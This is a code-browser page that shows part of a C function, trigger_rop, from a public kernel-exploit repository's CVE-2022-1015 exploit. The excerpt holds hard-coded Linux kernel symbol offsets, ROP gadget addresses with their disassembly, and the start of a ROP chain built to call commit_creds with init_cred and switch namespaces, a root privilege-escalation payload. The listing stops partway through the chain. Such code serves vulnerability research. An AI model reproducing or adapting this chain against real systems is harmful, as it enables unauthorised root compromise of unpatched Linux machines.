MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / trigger_rop

Function trigger_rop

CVE-2022-1015/exploit/exploit.c:283–425  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

281}
282
283void trigger_rop(struct mnl_socket* nl, uint64_t kernel_base, struct sockaddr_in* magic_addr, int rop_length)
284{
285 // Structures in .data
286 #define INIT_NSPROXY_OFF 0x186d940 // ffffffff8286d940 D init_nsproxy
287 #define INIT_CRED_OFF 0x186db80 // ffffffff8286db80 D init_cred
288 // Routines in .text
289 #define SWITCH_TASK_NAMESPACES_OFF 0xd12b0 // ffffffff810d12b0 T switch_task_namespaces
290 #define COMMIT_CREDS_OFF 0xd2690 // ffffffff810d2690 T commit_creds
291 #define BPF_GET_CURRENT_TASK_OFF 0x1ef7e0 // ffffffff811ef7e0 T bpf_get_current_task
292 #define __DO_SOFTIRQ_OFF 0x1000000 // ffffffff82000000 T __do_softirq
293 // Gadgets
294 #define MOV_RDI_RAX_OFF 0x2bfb1 // constraint: rcx==0 // 0xffffffff8102bfb1: mov rdi, rax; mov eax, ebx; pop rbx; pop rbp; or rax, rdi; ret;
295 #define POP_RDI_OFF 0x92100 // 0xffffffff81092100: pop rdi; ret;
296 #define POP_RSI_OFF 0x223e6 // 0xffffffff810223e6: pop rsi; ret;
297 #define POP_RCX_OFF 0x139a3
298 #define POP_RAX_OFF 0x64650 // 0xffffffff81064650: pop rax; ret;
299 #define POP_RBP_OFF 0x6ae // 0xffffffff810006ae: pop rbp; ret;
300 #define CLI_OFF 0x6a918 // 0xffffffff8106a918: cli; ret;
301 #define SUB_RSP_0x80 0x3809f6 // 0xffffffff813809f6: sub rsp, -0x80; pop rbx; pop rbp; ret;
302 #define SUB_RSP_0x80_POP4 0x5f80e0 // 0xffffffff815f80e0: sub rsp, -0x80; pop rbx; pop r12; pop r13; pop rbp; ret;
303 #define ADD_RSO_0xC8 0x3bd8b0 // 0xffffffff813bd8b0: add rsp, 0xc8; pop r12; pop rbp; ret;
304
305 #define PUSH_RSP_POP_RBX 0x1402020 // 0xffffffff82402020: push rsp; pop rbx; add al, 0x67; ret;
306 #define SUB_RBX_MOV_RAX_POP2 0x1525e5 // 0xffffffff811525e5 : sub rbx, rax ; mov rax, rbx ; pop rbx ; pop rbp ; ret
307 #define PUSH_RAX_POP_RSP 0x64cfea // 0xffffffff8164cfea: push rax; add eax, 0x74030000; add al, 0x41; pop rsp; pop rbp; ret;
308 // Misc.
309 #define OLD_TASK_FLAGS_OFF 0x12c1e32 // 0x40010000 0xffffffff822c1e32 <serial_pci_tbl+4850>: 0x0000000040010000
310
311 uint64_t *packet = calloc(1, rop_length + 8);
312
313 packet[0] = 0; // magic value
314 uint64_t* rop = &packet[1];
315
316 // 0xffffffff819d5cda <__netif_receive_skb_one_core+122> ret
317 int i = 0;
318 printf("rop_length: 0x%x\n", rop_length);
319 // #define _rop(x) do { if ((i+1)*8 > rop_length) error("ROP TOO LONG"); rop[i++] = (x); } while (0)
320 #define _rop(x) rop[i++] = (x);
321/*
322 rop[0] = 0;
323 rop[1] = 0;
324 rop[2] = kernel_base + POP_RBP_OFF; // 0xffffffff810006ae: pop rbp; ret;
325 rop[3] = kernel_base + OLD_TASK_FLAGS_OFF + 0x58; // 0xffffffff822c1e32 <serial_pci_tbl+4850>: 0x0000000040010000
326 rop[4] = kernel_base + __DO_SOFTIRQ_OFF + 418; // ffffffff82000000 T __do_softirq
327 rop[5] = 0;
328 rop[6] = 0;
329 rop[7] = 0;
330 rop[8] = 0;
331 rop[9] = 0;
332 rop[10] = 0;
333 rop[11] = 0;
334 rop[12] = 0;
335 rop[13] = 0;
336
337 rop[14] = kernel_base + CLI_OFF; // 0xffffffff8106a918: cli; ret;
338 rop[15] = kernel_base + SUB_RSP_0x80; // 0xffffffff813809f6: sub rsp, -0x80; pop rbx; pop rbp; ret;
339 rop[16] = 0;
340

Callers 1

mainFunction · 0.85

Calls 1

socketClass · 0.85

Tested by

no test coverage detected